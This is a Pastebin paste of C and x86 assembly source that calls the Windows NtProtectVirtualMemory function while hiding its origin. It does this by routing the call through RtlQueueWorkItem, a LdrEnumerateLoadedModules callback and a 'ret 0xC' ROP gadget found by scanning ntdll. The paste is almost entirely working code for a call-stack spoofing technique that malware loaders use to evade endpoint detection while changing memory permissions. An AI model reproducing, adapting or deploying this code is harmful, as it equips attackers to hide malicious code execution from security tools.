Advertisement
Guest User

x86.ntprotect.rtlqueueworkitem

a guest
Jul 2nd, 2024
622
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.14 KB | None | 0 0
  1. x86 Call NtProtectVirtualMemory with a clean callstack using RtlQueueWorkItem through a callback function like LdrEnumerateLoadedModules.
  2.  
  3. FILE main.c
  4. ----------------+
  5.  
  6. char *get_ntdll_ret_gadget(uint32_t *ntdll, uint16_t *bytes)
  7. {
  8. unsigned char *api_addr = customgetproc(ntdll,
  9. "RtlCleanUpTEBLangLists");
  10.  
  11. /* scan 8kb data memory down */
  12. for (int i=0; i < 8 * 1000; i++)
  13. {
  14. if (api_addr[i] == (uint8_t*)bytes[0])
  15. {
  16. if ((uint16_t*)api_addr[i+1] == bytes[1])
  17. {
  18. return (api_addr + i);
  19. }
  20. }
  21. }
  22.  
  23. return NULL;
  24. }
  25.  
  26. /*
  27. * 0xdarkvortex.dev/hiding-in-plainsight
  28. * call RtlQueueWorkItem using a callback function LdrEnumerateLoadedModules
  29. * NtApi RtlQueueWorkItem's stdcall arg1 i.e. ret 4bytes
  30. *
  31. */
  32.  
  33. int *ad_hoc_3params(int **gadget_func, int **workcallback_func)
  34. {
  35. uint16_t bytes[] = {0xc2 , 0x000c};
  36.  
  37. HMODULE ntdll = customgetmodule("ntdll.dll");
  38.  
  39. pRtlQueueWorkItem RtlQueueWorkItem = (pRtlQueueWorkItem)GetProcAddress(ntdll, "RtlQueueWorkItem");
  40.  
  41. *workcallback_func = &workcallback; /* workcallback.asm */
  42. *gadget_func = get_ntdll_ret_gadget(ntdll, bytes);
  43.  
  44. return RtlQueueWorkItem; // already contains the mem address of RtlQueueWorkItem
  45. }
  46.  
  47.  
  48. /* callback calls intermediary asm code enumproccallback.asm*/
  49. int exec_custom_ntprotect(PVOID* base_address, PULONG bytes_to_protect, ULONG oldperms, PULONG newperms, int *ret_gadget)
  50. {
  51. PVOID* allocated_addr = base_address;
  52.  
  53. int *ntdll = customgetmodule("ntdll.dll");
  54.  
  55. pLdrEnumerateLoadedModules LdrEnumerateLoadedModules = (pLdrEnumerateLoadedModules) customgetproc(ntdll, "LdrEnumerateLoadedModules");
  56.  
  57. NtProtectVirtualMemory_args ntProtectVirtualMemory_args = { 0 };
  58. ntProtectVirtualMemory_args.pNtProtectVirtualMemory = customgetproc(ntdll, "NtProtectVirtualMemory");
  59. ntProtectVirtualMemory_args.hProcess = (int)-1;
  60. ntProtectVirtualMemory_args.address = allocated_addr;
  61. ntProtectVirtualMemory_args.bytes_to_protect = bytes_to_protect;
  62. ntProtectVirtualMemory_args.oldperms = oldperms;
  63. ntProtectVirtualMemory_args.newperms = newperms;
  64. ntProtectVirtualMemory_args.ret_gadget = ret_gadget;
  65.  
  66. if (NT_SUCCESS(LdrEnumerateLoadedModules(NULL, &enumproccallback, (void*)&ntProtectVirtualMemory_args)))
  67. {
  68. WaitForSingleObject((int)-1, 2000);
  69. }
  70.  
  71. return 1;
  72. }
  73.  
  74.  
  75. FILE workcallback.asm
  76. -----------------------------+
  77.  
  78. .model flat, STDCALL
  79. OPTION PROLOGUE:NONE
  80. OPTION EPILOGUE:NONE
  81.  
  82. .code
  83.  
  84. workcallback PROC PUBLIC arg1:DWORD
  85. mov edx, [esp+4] ; backing up pointer to struct in edx
  86. push dword ptr [edx+20]; newperms
  87. push dword ptr [edx+16]; oldperms
  88. push dword ptr [edx+12]; bytes_to_protect
  89. push dword ptr [edx+8] ; base_address
  90. push dword ptr [edx+4] ; HANDLE hprocess
  91. push dword ptr [edx+24]; ret address rop gadget
  92. mov eax, [edx] ; NtProtectVirtualMemory
  93. jmp eax ; jmp NtProtectVirtualMemory
  94.  
  95. workcallback ENDP
  96. END
  97.  
  98. FILE enumproccallback.asm
  99. -----------------------------+
  100.  
  101. .model flat, STDCALL
  102. OPTION PROLOGUE:NONE
  103. OPTION EPILOGUE:NONE
  104.  
  105. EXTERN ad_hoc_3params :PROC
  106.  
  107. .code
  108.  
  109. ; calls an ad-hoc function and gets 2 params in stack arrangement for RtlQueueWorkItem
  110. ; set stack param1 workcallback, param2 ntvirutalprotectmemory, arg3 -> must not be 0x00
  111. ; sets rop to ret c i.e. c2 0c 00 gadget in ntdll and jmp to RtlQueueWorkItem
  112.  
  113. enumproccallback PROC PUBLIC arg1:DWORD,arg2:DWORD,arg3:BYTE
  114. mov edx, [esp+12]; backup 3rd param
  115. mov BYTE PTR [edx], 1 ; set 3rd param
  116. xor edx, edx ; clear edx
  117. mov edx, [esp+8] ; backup pointer to struct i.e. 2nd arg
  118. sub esp, 16 ; create space for 3 args
  119. mov [esp+8], edx ; 2nd arg &ntProtectVirtualMemory_args
  120. mov DWORD PTR [esp+12], 0 ; 3rd arg -> 0x00000000 WT_EXECUTEDEFAULT
  121. lea eax, [esp+4] ; load effective address of stack
  122. push eax ; &1st arg stack
  123. lea eax, [esp+4] ; load effective address of stack for rop gadget
  124. push eax ; &0th arg i.e. rop gadget return address
  125. call ad_hoc_3params
  126. add esp, 8 ; cdecl ad_hoc_3params clear stack
  127. jmp eax ; jmp to RtlQueueWorkItem
  128.  
  129. enumproccallback ENDP
  130. END
  131.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement